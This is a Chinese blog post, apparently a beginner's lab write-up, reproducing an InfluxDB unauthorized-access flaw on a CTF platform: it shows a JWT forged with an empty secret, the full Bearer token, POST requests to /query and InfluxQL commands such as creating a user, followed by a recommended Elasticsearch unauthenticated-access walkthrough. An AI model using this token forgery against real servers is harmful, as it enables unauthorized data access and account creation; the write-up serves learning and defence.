InfluxDB 未授权访问漏洞复现


前言:第一次复现漏洞,肯定会有很多不足的地方,这也是我学习漏洞的第一次尝试吧
这里我就不自己搭建漏洞环境了,BMZCTF这个平台已经搭建好了很多漏洞环境,这次我就用这个平台来复现一下这个漏洞

一、漏洞描述

InfluxDB 是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。

在InfluxDB中,每条数据都可以粗滤看成是虚拟key=value的形式,如语句

INSERT cpu,host=serverA,region=us_west value=0.64

表示往数据库中插入一条指标名为cup,标签集host为serverA,region为us_west的,值是0.64的数据。具体的数据概念和含义可以参考InfluxDB官方文档。

InfluxDB提供三种操作方式:

  • CLI
  • HTTP(包括API接口和Web管理界面)
  • 各语言的API库

但实际上以上操作方式其实都是在调用InfluxDB实现的API接口,API接口的两个常用操作是qurey(查询数据)和write(更改数据)

二、产生原因

InfluxDB的

Web 操作界面默认运行在 localhost 8083 端口;
HTTP API 接口默认运行在 localhost 8086 端口

如果直接将只能本机访问到的 localhost 改为内网或者公网IP,没有配置访问控制的口令,便可能会产生未授权访问漏
洞。

三、漏洞发现

  • 扫描默认的8083或者8086端口
  • 8086端口HTTP API的X-Influxdb-Version标志头

在这里插入图片描述
InfluxDB API默认有以下4个endpoint:
在这里插入图片描述
/ping 用来检查 数据库实例状态和版本号
/query 用来查询数据库数据
/write 用来更改数据库数据

四、漏洞影响

InfluxDB < 1.7.6

五、漏洞复现

通过BMZCTF这个平台,直接访问环境
在这里插入图片描述
打开环境后我们看一下,啥也没有
在这里插入图片描述
访问http://xxx:xxx/debug/vars可查看系统服务信息:
在这里插入图片描述
进入到/query查询功能会提示需要登录:
在这里插入图片描述
通过https://jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

其中,username需要为已存在的用户,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳,其中1676346267转换为时间是:2023-02-14 11:44:27。
将secret的值置空,得到编码后的 Token:
在这里插入图片描述
抓取/query页面的数据包,并将请求方式修改为 POST,添加请求头:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A

添加 POST 请求键值对:db=sample&q=show+users
发送数据包,得到查询结果。
在这里插入图片描述
这里补充一下,需要在请求头里面加入:

Content-Type:application/x-www-form-urlencoded

否则请求的时候是会404的

所谓的简单的漏洞利用,主要是利用query和write来操作数据库的数据,先介绍几个基础语法:

SHOW USERS查看当前所有的数据库用户
SHOW DATABASES查看所有的数据库
SHOW MEASUREMENTS查询当前数据库中含有的表
SHOW FIELD KEYS查看当前数据库所有表的字段
CREATE USER LandGrey WITH PASSWORD ‘LandGrey’创建 LandGrey:LandGrey 数据库用户

其他查询语法和普通的SQL查询语法类似。
组合利用:

pretty=true 表示优化输出显示
参数 q 传入具体查询数据
参数 db 传入具体数据库名
参数 u 传入数据库用户名
参数 p 传入数据库密码

在/query页面发送 POST 请求:db=sample&q=show users,得到用户信息回显。

做这个BMZCTF的时候,我一直在找看有没有什么exp可以用的,可以帮助我拿到flag,因为这个靶场上看着好像是有flag的,我自己也找了很多的文章,也去问了官方,但是都没有回应,也没有找到什么好用的exp,只能暂时认为这个靶场是没有flag的。其实第一次复现,很多的知识点也没有接触过,对InfluxDB的了解也不多,所以借鉴了很多文章,有错误的话也希望大家多多赐教。

参考链接
https://blog.csdn.net/weixin_44037296/article/details/118754782
https://landgrey.me/static/upload/2019-09-15/swhrybqj.pdf

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Elasticsearch授权访问漏洞是指攻击者可以通过访问Elasticsearch的默认端口(9200)获取敏感信息,甚至可以对数据进行修改和删除。下面是一个简单的复现过程: 1. 下载安装Elasticsearch 首先需要下载并安装Elasticsearch,可以从官网 https://www.elastic.co/downloads/elasticsearch 下载适合自己操作系统的版本。安装完成后启动Elasticsearch。 2. 测试授权访问 使用curl命令访问Elasticsearch的默认端口,可以看到返回的json格式数据,其中包含了Elasticsearch的版本信息、集群名称等。 ``` curl http://localhost:9200/ ``` 如果返回的结果中包含了类似以下内容,说明Elasticsearch存在授权访问漏洞。 ``` { "name" : "node-1", "cluster_name" : "elasticsearch", "cluster_uuid" : "zZl94mWlQq6RQlN4WmAz5w", "version" : { "number" : "7.9.3", "build_flavor" : "default", "build_type" : "tar", "build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868", "build_date" : "2020-10-16T10:36:16.141335Z", "build_snapshot" : false, "lucene_version" : "8.6.2", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" } ``` 3. 利用授权访问漏洞 利用授权访问漏洞可以进行一些危害性较大的操作,比如删除数据、创建索引等。这里我们只演示一下获取敏感信息的操作。 使用curl命令访问Elasticsearch中的某个索引,可以看到其中包含了一些敏感信息,比如用户名、密码等。 ``` curl http://localhost:9200/_cat/indices ``` 如果返回的结果中包含了类似以下内容,说明存在敏感信息泄露。 ``` yellow open .kibana_task_manager_1 6rJQh5E8R0yUH9WdPQzLrw 1 1 3 0 35.4kb 35.4kb yellow open .kibana_1 5QZvZnS-QOyvZBTl2t6bKg 1 1 2 0 13.4kb 13.4kb ``` 4. 解决方法 为避免Elasticsearch的授权访问漏洞,可以进行以下操作: - 修改配置文件中的network.host配置,限制Elasticsearch只能在特定的IP地址或网段上运行。 - 启用Elasticsearch的安全特性,比如启用访问控制、数据加密等。 以上是Elasticsearch授权访问漏洞的简单复现过程,希望对您有帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值